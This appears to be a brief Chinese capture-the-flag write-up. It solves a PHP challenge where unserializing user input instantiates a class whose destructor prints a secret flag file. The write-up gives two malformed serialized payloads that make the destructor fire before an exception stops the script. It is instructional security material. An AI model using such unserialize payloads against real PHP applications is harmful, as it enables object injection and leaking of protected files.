参考链接
题目描述
PHP's unserialization mechanism can be exceptional.
解题流程
程序代码
<?php
$line = trim(fgets(STDIN));
$flag = file_get_contents('/flag');
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a = @unserialize($line);
throw new Exception('Well that was unexpected…');
echo $a;
我们用以下代码产生一个正常的序列:
class B {
}
$a = array(1,2,new B(),3,4);
echo serialize($a);
用以上代码构造序列化数组:a:5:{i:0;i:1;i:1;i:2;i:2;O:1:"B":0:{}i:3;i:3;i:4;i:4;}
,把最后面的分号去掉变成a:5:{i:0;i:1;i:1;i:2;i:2;O:1:"B":0:{}i:3;i:3;i:4;i:4}
,将该序列发送给php程序即可显示flag。
<?php
$test = new B();
$serialize_test = serialize($test);
echo $serialize_test;
上述代码会产生序列:O:1:"B":0:{}
,把0改成1,序列变为O:1:"B":1:{}
,把这个序列发送给php程序也能获得flag。